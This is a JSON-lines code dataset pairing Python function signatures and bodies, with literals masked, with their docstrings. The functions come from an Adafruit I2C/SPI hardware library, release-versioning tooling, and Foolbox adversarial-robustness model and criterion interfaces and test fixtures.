{"signature": "def readS16(self, register, little_endian=True):", "body": "result = self.readU16(register, little_endian)<EOL>if result > <NUM_LIT>:<EOL><INDENT>result -= <NUM_LIT><EOL><DEDENT>return result<EOL>", "docstring": "Read a signed 16-bit value from the specified register, with the\n        specified endianness (default little endian, or least significant byte\n        first).", "id": "f8002:c2:m21"}
{"signature": "def readU16LE(self, register):", "body": "return self.readU16(register, little_endian=True)<EOL>", "docstring": "Read an unsigned 16-bit value from the specified register, in little\n        endian byte order.", "id": "f8002:c2:m22"}
{"signature": "def readU16BE(self, register):", "body": "return self.readU16(register, little_endian=False)<EOL>", "docstring": "Read an unsigned 16-bit value from the specified register, in big\n        endian byte order.", "id": "f8002:c2:m23"}
{"signature": "def readS16LE(self, register):", "body": "return self.readS16(register, little_endian=True)<EOL>", "docstring": "Read a signed 16-bit value from the specified register, in little\n        endian byte order.", "id": "f8002:c2:m24"}
{"signature": "def readS16BE(self, register):", "body": "return self.readS16(register, little_endian=False)<EOL>", "docstring": "Read a signed 16-bit value from the specified register, in big\n        endian byte order.", "id": "f8002:c2:m25"}
{"signature": "def __init__(self, port, device, max_speed_hz=<NUM_LIT>):", "body": "import spidev<EOL>self._device = spidev.SpiDev()<EOL>self._device.open(port, device)<EOL>self._device.max_speed_hz=max_speed_hz<EOL>self._device.mode = <NUM_LIT:0><EOL>self._device.cshigh = False<EOL>", "docstring": "Initialize an SPI device using the SPIdev interface.  Port and device\n        identify the device, for example the device /dev/spidev1.0 would be port\n        1 and device 0.", "id": "f8003:c0:m0"}
{"signature": "def set_clock_hz(self, hz):", "body": "self._device.max_speed_hz=hz<EOL>", "docstring": "Set the speed of the SPI clock in hertz.  Note that not all speeds\n        are supported and a lower speed might be chosen by the hardware.", "id": "f8003:c0:m1"}
{"signature": "def set_mode(self, mode):", "body": "if mode < <NUM_LIT:0> or mode > <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._device.mode = mode<EOL>", "docstring": "Set SPI mode which controls clock polarity and phase.  Should be a\n        numeric value 0, 1, 2, or 3.  See wikipedia page for details on meaning:\n        http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus", "id": "f8003:c0:m2"}
{"signature": "def set_bit_order(self, order):", "body": "if order == MSBFIRST:<EOL><INDENT>self._device.lsbfirst = False<EOL><DEDENT>elif order == LSBFIRST:<EOL><INDENT>self._device.lsbfirst = True<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set order of bits to be read/written over serial lines.  Should be\n        either MSBFIRST for most-significant first, or LSBFIRST for\n        least-signifcant first.", "id": "f8003:c0:m3"}
{"signature": "def close(self):", "body": "self._device.close()<EOL>", "docstring": "Close communication with the SPI device.", "id": "f8003:c0:m4"}
{"signature": "def write(self, data):", "body": "self._device.writebytes(data)<EOL>", "docstring": "Half-duplex SPI write.  The specified array of bytes will be clocked\n        out the MOSI line.", "id": "f8003:c0:m5"}
{"signature": "def read(self, length):", "body": "return bytearray(self._device.readbytes(length))<EOL>", "docstring": "Half-duplex SPI read.  The specified length of bytes will be clocked\n        in the MISO line and returned as a bytearray object.", "id": "f8003:c0:m6"}
{"signature": "def transfer(self, data):", "body": "return bytearray(self._device.xfer2(data))<EOL>", "docstring": "Full-duplex SPI read and write.  The specified array of bytes will be\n        clocked out the MOSI line, while simultaneously bytes will be read from\n        the MISO line.  Read bytes will be returned as a bytearray object.", "id": "f8003:c0:m7"}
{"signature": "def set_clock_hz(self, hz):", "body": "self._device.frequency(hz)<EOL>", "docstring": "Set the speed of the SPI clock in hertz.  Note that not all speeds\n        are supported and a lower speed might be chosen by the hardware.", "id": "f8003:c1:m1"}
{"signature": "def set_mode(self,mode):", "body": "if mode < <NUM_LIT:0> or mode > <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._device.mode(mode)<EOL>", "docstring": "Set SPI mode which controls clock polarity and phase.  Should be a\n        numeric value 0, 1, 2, or 3.  See wikipedia page for details on meaning:\n        http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus", "id": "f8003:c1:m2"}
{"signature": "def set_bit_order(self, order):", "body": "if order == MSBFIRST:<EOL><INDENT>self._device.lsbmode(False)<EOL><DEDENT>elif order == LSBFIRST:<EOL><INDENT>self._device.lsbmode(True)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set order of bits to be read/written over serial lines.  Should be\n        either MSBFIRST for most-significant first, or LSBFIRST for\n        least-signifcant first.", "id": "f8003:c1:m3"}
{"signature": "def close(self):", "body": "self._device.Spi()<EOL>", "docstring": "Close communication with the SPI device.", "id": "f8003:c1:m4"}
{"signature": "def write(self, data):", "body": "self._device.write(bytearray(data))<EOL>", "docstring": "Half-duplex SPI write.  The specified array of bytes will be clocked\n        out the MOSI line.", "id": "f8003:c1:m5"}
{"signature": "def __init__(self, gpio, sclk, mosi=None, miso=None, ss=None):", "body": "self._gpio = gpio<EOL>self._sclk = sclk<EOL>self._mosi = mosi<EOL>self._miso = miso<EOL>self._ss = ss<EOL>gpio.setup(sclk, GPIO.OUT)<EOL>if mosi is not None:<EOL><INDENT>gpio.setup(mosi, GPIO.OUT)<EOL><DEDENT>if miso is not None:<EOL><INDENT>gpio.setup(miso, GPIO.IN)<EOL><DEDENT>if ss is not None:<EOL><INDENT>gpio.setup(ss, GPIO.OUT)<EOL>gpio.set_high(ss)<EOL><DEDENT>self.set_mode(<NUM_LIT:0>)<EOL>self.set_bit_order(MSBFIRST)<EOL>", "docstring": "Initialize bit bang (or software) based SPI.  Must provide a BaseGPIO\n        class, the SPI clock, and optionally MOSI, MISO, and SS (slave select)\n        pin numbers. If MOSI is set to None then writes will be disabled and fail\n        with an error, likewise for MISO reads will be disabled.  If SS is set to\n        None then SS will not be asserted high/low by the library when\n        transfering data.", "id": "f8003:c2:m0"}
{"signature": "def set_clock_hz(self, hz):", "body": "pass<EOL>", "docstring": "Set the speed of the SPI clock.  This is unsupported with the bit\n        bang SPI class and will be ignored.", "id": "f8003:c2:m1"}
{"signature": "def set_mode(self, mode):", "body": "if mode < <NUM_LIT:0> or mode > <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if mode & <NUM_LIT>:<EOL><INDENT>self._clock_base = GPIO.HIGH<EOL><DEDENT>else:<EOL><INDENT>self._clock_base = GPIO.LOW<EOL><DEDENT>if mode & <NUM_LIT>:<EOL><INDENT>self._read_leading = False<EOL><DEDENT>else:<EOL><INDENT>self._read_leading = True<EOL><DEDENT>self._gpio.output(self._sclk, self._clock_base)<EOL>", "docstring": "Set SPI mode which controls clock polarity and phase.  Should be a\n        numeric value 0, 1, 2, or 3.  See wikipedia page for details on meaning:\n        http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus", "id": "f8003:c2:m2"}
{"signature": "def set_bit_order(self, order):", "body": "<EOL>if order == MSBFIRST:<EOL><INDENT>self._mask = <NUM_LIT><EOL>self._write_shift = operator.lshift<EOL>self._read_shift = operator.rshift<EOL><DEDENT>elif order == LSBFIRST:<EOL><INDENT>self._mask = <NUM_LIT><EOL>self._write_shift = operator.rshift<EOL>self._read_shift = operator.lshift<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set order of bits to be read/written over serial lines.  Should be\n        either MSBFIRST for most-significant first, or LSBFIRST for\n        least-signifcant first.", "id": "f8003:c2:m3"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "Close the SPI connection.  Unused in the bit bang implementation.", "id": "f8003:c2:m4"}
{"signature": "def write(self, data, assert_ss=True, deassert_ss=True):", "body": "<EOL>if self._mosi is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if assert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_low(self._ss)<EOL><DEDENT>for byte in data:<EOL><INDENT>for i in range(<NUM_LIT:8>):<EOL><INDENT>if self._write_shift(byte, i) & self._mask:<EOL><INDENT>self._gpio.set_high(self._mosi)<EOL><DEDENT>else:<EOL><INDENT>self._gpio.set_low(self._mosi)<EOL><DEDENT>self._gpio.output(self._sclk, not self._clock_base)<EOL>self._gpio.output(self._sclk, self._clock_base)<EOL><DEDENT><DEDENT>if deassert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_high(self._ss)<EOL><DEDENT>", "docstring": "Half-duplex SPI write.  If assert_ss is True, the SS line will be\n        asserted low, the specified bytes will be clocked out the MOSI line, and\n        if deassert_ss is True the SS line be put back high.", "id": "f8003:c2:m5"}
{"signature": "def read(self, length, assert_ss=True, deassert_ss=True):", "body": "if self._miso is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if assert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_low(self._ss)<EOL><DEDENT>result = bytearray(length)<EOL>for i in range(length):<EOL><INDENT>for j in range(<NUM_LIT:8>):<EOL><INDENT>self._gpio.output(self._sclk, not self._clock_base)<EOL>if self._read_leading:<EOL><INDENT>if self._gpio.is_high(self._miso):<EOL><INDENT>result[i] |= self._read_shift(self._mask, j)<EOL><DEDENT>else:<EOL><INDENT>result[i] &= ~self._read_shift(self._mask, j)<EOL><DEDENT><DEDENT>self._gpio.output(self._sclk, self._clock_base)<EOL>if not self._read_leading:<EOL><INDENT>if self._gpio.is_high(self._miso):<EOL><INDENT>result[i] |= self._read_shift(self._mask, j)<EOL><DEDENT>else:<EOL><INDENT>result[i] &= ~self._read_shift(self._mask, j)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if deassert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_high(self._ss)<EOL><DEDENT>return result<EOL>", "docstring": "Half-duplex SPI read.  If assert_ss is true, the SS line will be\n        asserted low, the specified length of bytes will be clocked in the MISO\n        line, and if deassert_ss is true the SS line will be put back high.\n        Bytes which are read will be returned as a bytearray object.", "id": "f8003:c2:m6"}
{"signature": "def transfer(self, data, assert_ss=True, deassert_ss=True):", "body": "if self._mosi is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if self._miso is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if assert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_low(self._ss)<EOL><DEDENT>result = bytearray(len(data))<EOL>for i in range(len(data)):<EOL><INDENT>for j in range(<NUM_LIT:8>):<EOL><INDENT>if self._write_shift(data[i], j) & self._mask:<EOL><INDENT>self._gpio.set_high(self._mosi)<EOL><DEDENT>else:<EOL><INDENT>self._gpio.set_low(self._mosi)<EOL><DEDENT>self._gpio.output(self._sclk, not self._clock_base)<EOL>if self._read_leading:<EOL><INDENT>if self._gpio.is_high(self._miso):<EOL><INDENT>result[i] |= self._read_shift(self._mask, j)<EOL><DEDENT>else:<EOL><INDENT>result[i] &= ~self._read_shift(self._mask, j)<EOL><DEDENT><DEDENT>self._gpio.output(self._sclk, self._clock_base)<EOL>if not self._read_leading:<EOL><INDENT>if self._gpio.is_high(self._miso):<EOL><INDENT>result[i] |= self._read_shift(self._mask, j)<EOL><DEDENT>else:<EOL><INDENT>result[i] &= ~self._read_shift(self._mask, j)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if deassert_ss and self._ss is not None:<EOL><INDENT>self._gpio.set_high(self._ss)<EOL><DEDENT>return result<EOL>", "docstring": "Full-duplex SPI read and write.  If assert_ss is true, the SS line\n        will be asserted low, the specified bytes will be clocked out the MOSI\n        line while bytes will also be read from the MISO line, and if\n        deassert_ss is true the SS line will be put back high.  Bytes which are\n        read will be returned as a bytearray object.", "id": "f8003:c2:m7"}
{"signature": "def reverseByteOrder(data):", "body": "<EOL>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "DEPRECATED: See https://github.com/adafruit/Adafruit_Python_GPIO/issues/48", "id": "f8004:m0"}
{"signature": "def get_default_bus():", "body": "plat = Platform.platform_detect()<EOL>if plat == Platform.RASPBERRY_PI:<EOL><INDENT>if Platform.pi_revision() == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>elif plat == Platform.BEAGLEBONE_BLACK:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return the default bus number based on the device platform.  For a\n    Raspberry Pi either bus 0 or 1 (based on the Pi revision) will be returned.\n    For a Beaglebone Black the first user accessible bus, 1, will be returned.", "id": "f8004:m1"}
{"signature": "def get_i2c_device(address, busnum=None, i2c_interface=None, **kwargs):", "body": "if busnum is None:<EOL><INDENT>busnum = get_default_bus()<EOL><DEDENT>return Device(address, busnum, i2c_interface, **kwargs)<EOL>", "docstring": "Return an I2C device for the specified address and on the specified bus.\n    If busnum isn't specified, the default I2C bus for the platform will attempt\n    to be detected.", "id": "f8004:m2"}
{"signature": "def require_repeated_start():", "body": "plat = Platform.platform_detect()<EOL>if plat == Platform.RASPBERRY_PI and os.path.exists('<STR_LIT>'):<EOL><INDENT>subprocess.check_call('<STR_LIT>', shell=True)<EOL>subprocess.check_call('<STR_LIT>', shell=True)<EOL><DEDENT>", "docstring": "Enable repeated start conditions for I2C register reads.  This is the\n    normal behavior for I2C, however on some platforms like the Raspberry Pi\n    there are bugs which disable repeated starts unless explicitly enabled with\n    this function.  See this thread for more details:\n      http://www.raspberrypi.org/forums/viewtopic.php?f=44&t=15840", "id": "f8004:m3"}
{"signature": "def __init__(self, address, busnum, i2c_interface=None):", "body": "self._address = address<EOL>if i2c_interface is None:<EOL><INDENT>import Adafruit_PureIO.smbus<EOL>self._bus = Adafruit_PureIO.smbus.SMBus(busnum)<EOL><DEDENT>else:<EOL><INDENT>self._bus = i2c_interface(busnum)<EOL><DEDENT>self._logger = logging.getLogger('<STR_LIT>'.format(busnum, address))<EOL>", "docstring": "Create an instance of the I2C device at the specified address on the\n        specified I2C bus number.", "id": "f8004:c0:m0"}
{"signature": "def writeRaw8(self, value):", "body": "value = value & <NUM_LIT><EOL>self._bus.write_byte(self._address, value)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>value)<EOL>", "docstring": "Write an 8-bit value on the bus (without register).", "id": "f8004:c0:m1"}
{"signature": "def write8(self, register, value):", "body": "value = value & <NUM_LIT><EOL>self._bus.write_byte_data(self._address, register, value)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>value, register)<EOL>", "docstring": "Write an 8-bit value to the specified register.", "id": "f8004:c0:m2"}
{"signature": "def write16(self, register, value):", "body": "value = value & <NUM_LIT><EOL>self._bus.write_word_data(self._address, register, value)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>value, register, register+<NUM_LIT:1>)<EOL>", "docstring": "Write a 16-bit value to the specified register.", "id": "f8004:c0:m3"}
{"signature": "def writeList(self, register, data):", "body": "self._bus.write_i2c_block_data(self._address, register, data)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>register, data)<EOL>", "docstring": "Write bytes to the specified register.", "id": "f8004:c0:m4"}
{"signature": "def readList(self, register, length):", "body": "results = self._bus.read_i2c_block_data(self._address, register, length)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>register, results)<EOL>return results<EOL>", "docstring": "Read a length number of bytes from the specified register.  Results\n        will be returned as a bytearray.", "id": "f8004:c0:m5"}
{"signature": "def readRaw8(self):", "body": "result = self._bus.read_byte(self._address) & <NUM_LIT><EOL>self._logger.debug(\"<STR_LIT>\",<EOL>result)<EOL>return result<EOL>", "docstring": "Read an 8-bit value on the bus (without register).", "id": "f8004:c0:m6"}
{"signature": "def readU8(self, register):", "body": "result = self._bus.read_byte_data(self._address, register) & <NUM_LIT><EOL>self._logger.debug(\"<STR_LIT>\",<EOL>result, register)<EOL>return result<EOL>", "docstring": "Read an unsigned byte from the specified register.", "id": "f8004:c0:m7"}
{"signature": "def readS8(self, register):", "body": "result = self.readU8(register)<EOL>if result > <NUM_LIT>:<EOL><INDENT>result -= <NUM_LIT><EOL><DEDENT>return result<EOL>", "docstring": "Read a signed byte from the specified register.", "id": "f8004:c0:m8"}
{"signature": "def readU16(self, register, little_endian=True):", "body": "result = self._bus.read_word_data(self._address,register) & <NUM_LIT><EOL>self._logger.debug(\"<STR_LIT>\",<EOL>result, register, register+<NUM_LIT:1>)<EOL>if not little_endian:<EOL><INDENT>result = ((result << <NUM_LIT:8>) & <NUM_LIT>) + (result >> <NUM_LIT:8>)<EOL><DEDENT>return result<EOL>", "docstring": "Read an unsigned 16-bit value from the specified register, with the\n        specified endianness (default little endian, or least significant byte\n        first).", "id": "f8004:c0:m9"}
{"signature": "def readS16(self, register, little_endian=True):", "body": "result = self.readU16(register, little_endian)<EOL>if result > <NUM_LIT>:<EOL><INDENT>result -= <NUM_LIT><EOL><DEDENT>return result<EOL>", "docstring": "Read a signed 16-bit value from the specified register, with the\n        specified endianness (default little endian, or least significant byte\n        first).", "id": "f8004:c0:m10"}
{"signature": "def readU16LE(self, register):", "body": "return self.readU16(register, little_endian=True)<EOL>", "docstring": "Read an unsigned 16-bit value from the specified register, in little\n        endian byte order.", "id": "f8004:c0:m11"}
{"signature": "def readU16BE(self, register):", "body": "return self.readU16(register, little_endian=False)<EOL>", "docstring": "Read an unsigned 16-bit value from the specified register, in big\n        endian byte order.", "id": "f8004:c0:m12"}
{"signature": "def readS16LE(self, register):", "body": "return self.readS16(register, little_endian=True)<EOL>", "docstring": "Read a signed 16-bit value from the specified register, in little\n        endian byte order.", "id": "f8004:c0:m13"}
{"signature": "def readS16BE(self, register):", "body": "return self.readS16(register, little_endian=False)<EOL>", "docstring": "Read a signed 16-bit value from the specified register, in big\n        endian byte order.", "id": "f8004:c0:m14"}
{"signature": "def parse_log_messages(self, text):", "body": "regex = r\"<STR_LIT>\"<EOL>messages = re.findall(regex, text, re.DOTALL)<EOL>parsed = []<EOL>for commit, author, message in messages:<EOL><INDENT>parsed.append((<EOL>commit[:<NUM_LIT:10>],<EOL>re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", author), <EOL>message.strip()<EOL>))<EOL><DEDENT>return parsed<EOL>", "docstring": "Will parse git log messages in the 'short' format", "id": "f8011:c0:m7"}
{"signature": "def is_available(self, project_dir):", "body": "pass<EOL>", "docstring": "Is this VCS class available for the given project directory", "id": "f8013:c0:m1"}
{"signature": "def get_changes(self, since_version):", "body": "pass<EOL>", "docstring": "Get a list of changes since (and not including) the given version name\n\n        Output should be in the format:\n        [\n            (commit, author, message),\n            ...\n        ]", "id": "f8013:c0:m2"}
{"signature": "def commit(self, message, files):", "body": "pass<EOL>", "docstring": "Commit the changes to files", "id": "f8013:c0:m3"}
{"signature": "def tag(self, version):", "body": "pass<EOL>", "docstring": "Tag the current version as 'name", "id": "f8013:c0:m4"}
{"signature": "def get_download_url(self, version):", "body": "pass<EOL>", "docstring": "Get the download url for the given version.\n\nReturn None if unsupported", "id": "f8013:c0:m5"}
{"signature": "def version_bump(self, version, type=\"<STR_LIT>\"):", "body": "parsed_version = LooseVersion(version).version<EOL>total_components = max(<NUM_LIT:3>, len(parsed_version))<EOL>bits = []<EOL>for bit in parsed_version:<EOL><INDENT>try:<EOL><INDENT>bit = int(bit)<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>bits.append(bit)<EOL><DEDENT>indexes = {<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": <NUM_LIT:2>,<EOL>}<EOL>bits += [<NUM_LIT:0>] * (<NUM_LIT:3> - len(bits)) <EOL>bits[indexes[type]] += <NUM_LIT:1><EOL>for i in range(indexes[type] + <NUM_LIT:1>, <NUM_LIT:3>):<EOL><INDENT>bits[i] = <NUM_LIT:0><EOL><DEDENT>return \"<STR_LIT:.>\".join(map(str, bits))<EOL>", "docstring": "Increment version number string 'version'.\n\nType can be one of: major, minor, or bug", "id": "f8014:c0:m8"}
{"signature": "def determine_paths(self, package_name=None, create_package_dir=False, dry_run=False):", "body": "<EOL>self.project_dir = Path(os.getenv('<STR_LIT>') or os.getcwd())<EOL>distribution = self.get_distribution()<EOL>if distribution:<EOL><INDENT>self.project_name = distribution.get_name()<EOL><DEDENT>else:<EOL><INDENT>self.project_name = self.project_dir.name<EOL><DEDENT>if os.path.isdir(self.project_dir / \"<STR_LIT:src>\"):<EOL><INDENT>package_search_dir = self.project_dir / \"<STR_LIT:src>\"<EOL><DEDENT>else:<EOL><INDENT>package_search_dir = self.project_dir<EOL><DEDENT>created_package_dir = False<EOL>if not package_name:<EOL><INDENT>package_name = self.project_name.replace(\"<STR_LIT:->\", \"<STR_LIT:_>\")<EOL>def get_matches(name):<EOL><INDENT>possibles = [n for n in os.listdir(package_search_dir) if os.path.isdir(package_search_dir / n)]<EOL>return difflib.get_close_matches(name, possibles, n=<NUM_LIT:1>, cutoff=<NUM_LIT>)<EOL><DEDENT>close = get_matches(package_name)<EOL>if not close and \"<STR_LIT:_>\" in package_name:<EOL><INDENT>short_package_name = \"<STR_LIT:_>\".join(package_name.split(\"<STR_LIT:_>\")[<NUM_LIT:1>:])<EOL>close = get_matches(short_package_name)<EOL><DEDENT>if not close:<EOL><INDENT>if create_package_dir:<EOL><INDENT>package_dir = package_search_dir / package_name<EOL>created_package_dir = True<EOL>if not dry_run:<EOL><INDENT>print(\"<STR_LIT>\" % package_dir)<EOL>os.mkdir(package_dir)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % package_dir)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CommandError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>package_name = close[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>self.package_name = package_name<EOL>self.package_dir = package_search_dir / package_name<EOL>if not os.path.exists(self.package_dir) and not created_package_dir:<EOL><INDENT>raise CommandError(\"<STR_LIT>\" % self.package_dir)<EOL><DEDENT>", "docstring": "Determine paths automatically and a little intelligently", "id": "f8017:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def _calculate(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Returns distance and gradient of distance w.r.t. to self.other", "id": "f8025:c0:m3"}
{"signature": "def set_seeds(seed):", "body": "rng.seed(seed)<EOL>nprng.seed(seed)<EOL>", "docstring": "Sets the seeds of both random number generators used by Foolbox.\n\n    Parameters\n    ----------\n    seed : int\n        The seed for both random number generators.", "id": "f8026:m0"}
{"signature": "def bn_model():", "body": "import tensorflow as tf<EOL>bounds = (<NUM_LIT:0>, <NUM_LIT:1>)<EOL>channel_axis = <NUM_LIT:3><EOL>channels = <NUM_LIT:10>  <EOL>def mean_brightness_net(images):<EOL><INDENT>logits = tf.reduce_mean(images, axis=(<NUM_LIT:1>, <NUM_LIT:2>))<EOL>return logits<EOL><DEDENT>images = tf.placeholder(tf.float32, (None, <NUM_LIT:5>, <NUM_LIT:5>, channels))<EOL>logits = mean_brightness_net(images)<EOL>with tf.Session():<EOL><INDENT>model = TensorFlowModel(<EOL>images,<EOL>logits,<EOL>bounds=bounds,<EOL>channel_axis=channel_axis)<EOL>yield model<EOL><DEDENT>", "docstring": "Creates a simple brightness model that does not require training.", "id": "f8043:m4"}
{"signature": "def gl_bn_model():", "body": "cm_model = contextmanager(bn_model)<EOL>with cm_model() as model:<EOL><INDENT>model = ModelWithoutGradients(model)<EOL>yield model<EOL><DEDENT>", "docstring": "Same as bn_model but without gradient.", "id": "f8043:m8"}
{"signature": "def eg_bn_model_factory(request):", "body": "GradientEstimator = request.param<EOL>def eg_bn_model():<EOL><INDENT>cm_model = contextmanager(bn_model)<EOL>with cm_model() as model:<EOL><INDENT>gradient_estimator = GradientEstimator(epsilon=<NUM_LIT>)<EOL>model = ModelWithEstimatedGradients(model, gradient_estimator)<EOL>yield model<EOL><DEDENT><DEDENT>return eg_bn_model<EOL>", "docstring": "Same as bn_model but with estimated gradient.", "id": "f8043:m10"}
{"signature": "def binarized_bn_model():", "body": "import tensorflow as tf<EOL>bounds = (<NUM_LIT:0>, <NUM_LIT:1>)<EOL>channel_axis = <NUM_LIT:3><EOL>channels = <NUM_LIT:10>  <EOL>def mean_brightness_net(images):<EOL><INDENT>logits = tf.reduce_mean(images, axis=(<NUM_LIT:1>, <NUM_LIT:2>))<EOL>return logits<EOL><DEDENT>images = tf.placeholder(tf.float32, (None, <NUM_LIT:5>, <NUM_LIT:5>, channels))<EOL>logits = mean_brightness_net(images)<EOL>def preprocessing(x):<EOL><INDENT>x = binarize(x, (<NUM_LIT:0>, <NUM_LIT:1>))<EOL>def backward(x):<EOL><INDENT>return x<EOL><DEDENT>return x, backward<EOL><DEDENT>with tf.Session():<EOL><INDENT>model = TensorFlowModel(<EOL>images,<EOL>logits,<EOL>bounds=bounds,<EOL>channel_axis=channel_axis,<EOL>preprocessing=preprocessing)<EOL>yield model<EOL><DEDENT>", "docstring": "Creates a simple brightness model that does not require training.", "id": "f8043:m30"}
{"signature": "def binarized2_bn_model():", "body": "import tensorflow as tf<EOL>bounds = (<NUM_LIT:0>, <NUM_LIT:1>)<EOL>channel_axis = <NUM_LIT:3><EOL>channels = <NUM_LIT:10>  <EOL>def mean_brightness_net(images):<EOL><INDENT>logits = tf.reduce_mean(images, axis=(<NUM_LIT:1>, <NUM_LIT:2>))<EOL>return logits<EOL><DEDENT>images = tf.placeholder(tf.float32, (None, <NUM_LIT:5>, <NUM_LIT:5>, channels))<EOL>logits = mean_brightness_net(images)<EOL>def preprocessing(x):<EOL><INDENT>x = binarize(x, (<NUM_LIT:0>, <NUM_LIT:1>), included_in='<STR_LIT>')<EOL>def backward(x):<EOL><INDENT>return x<EOL><DEDENT>return x, backward<EOL><DEDENT>with tf.Session():<EOL><INDENT>model = TensorFlowModel(<EOL>images,<EOL>logits,<EOL>bounds=bounds,<EOL>channel_axis=channel_axis,<EOL>preprocessing=preprocessing)<EOL>yield model<EOL><DEDENT>", "docstring": "Creates a simple brightness model that does not require training.", "id": "f8043:m34"}
{"signature": "def name(self):", "body": "return self.__class__.__name__<EOL>", "docstring": "Returns a human readable name that uniquely identifies\n        the criterion with its hyperparameters.\n\n        Returns\n        -------\n        str\n            Human readable name that uniquely identifies the criterion\n            with its hyperparameters.\n\n        Notes\n        -----\n        Defaults to the class name but subclasses can provide more\n        descriptive names and must take hyperparameters into account.", "id": "f8073:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def is_adversarial(self, predictions, label):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Decides if predictions for an image are adversarial given\n        a reference label.\n\n        Parameters\n        ----------\n        predictions : :class:`numpy.ndarray`\n            A vector with the pre-softmax predictions for some image.\n        label : int\n            The label of the unperturbed reference image.\n\n        Returns\n        -------\n        bool\n            True if an image with the given predictions is an adversarial\n            example when the ground-truth class is given by label, False\n            otherwise.", "id": "f8073:c0:m1"}
{"signature": "def name(self):", "body": "names = (criterion.name() for criterion in self._criteria)<EOL>return '<STR_LIT>'.join(sorted(names))<EOL>", "docstring": "Concatenates the names of the given criteria in alphabetical order.\n\n        If a sub-criterion is itself a combined criterion, its name is\n        first split into the individual names and the names of the\n        sub-sub criteria is used instead of the name of the sub-criterion.\n        This is done recursively to ensure that the order and the hierarchy\n        of the criteria does not influence the name.\n\n        Returns\n        -------\n        str\n            The alphabetically sorted names of the sub-criteria concatenated\n            using double underscores between them.", "id": "f8073:c1:m1"}
{"signature": "def _process_gradient(self, backward, dmdp):", "body": "if backward is None:  <EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>dmdx = backward(dmdp)<EOL>assert dmdx.dtype == dmdp.dtype<EOL>return dmdx<EOL>", "docstring": "backward: `callable`\n    callable that backpropagates the gradient of the model w.r.t to\n    preprocessed input through the preprocessing to get the gradient\n    of the model's output w.r.t. the input before preprocessing\ndmdp: gradient of model w.r.t. preprocessed input", "id": "f8079:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def batch_predictions(self, images):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Calculates predictions for a batch of images.\n\n        Parameters\n        ----------\n        images : `numpy.ndarray`\n            Batch of inputs with shape as expected by the model.\n\n        Returns\n        -------\n        `numpy.ndarray`\n            Predictions (logits, i.e. before the softmax) with shape\n            (batch size, number of classes).\n\n        See Also\n        --------\n        :meth:`predictions`", "id": "f8079:c0:m7"}
{"signature": "def predictions(self, image):", "body": "return np.squeeze(self.batch_predictions(image[np.newaxis]), axis=<NUM_LIT:0>)<EOL>", "docstring": "Convenience method that calculates predictions for a single image.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n\n        Returns\n        -------\n        `numpy.ndarray`\n            Vector of predictions (logits, i.e. before the softmax) with\n            shape (number of classes,).\n\n        See Also\n        --------\n        :meth:`batch_predictions`", "id": "f8079:c0:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def num_classes(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Determines the number of classes.\n\n        Returns\n        -------\n        int\n            The number of classes for which the model creates predictions.", "id": "f8079:c0:m9"}
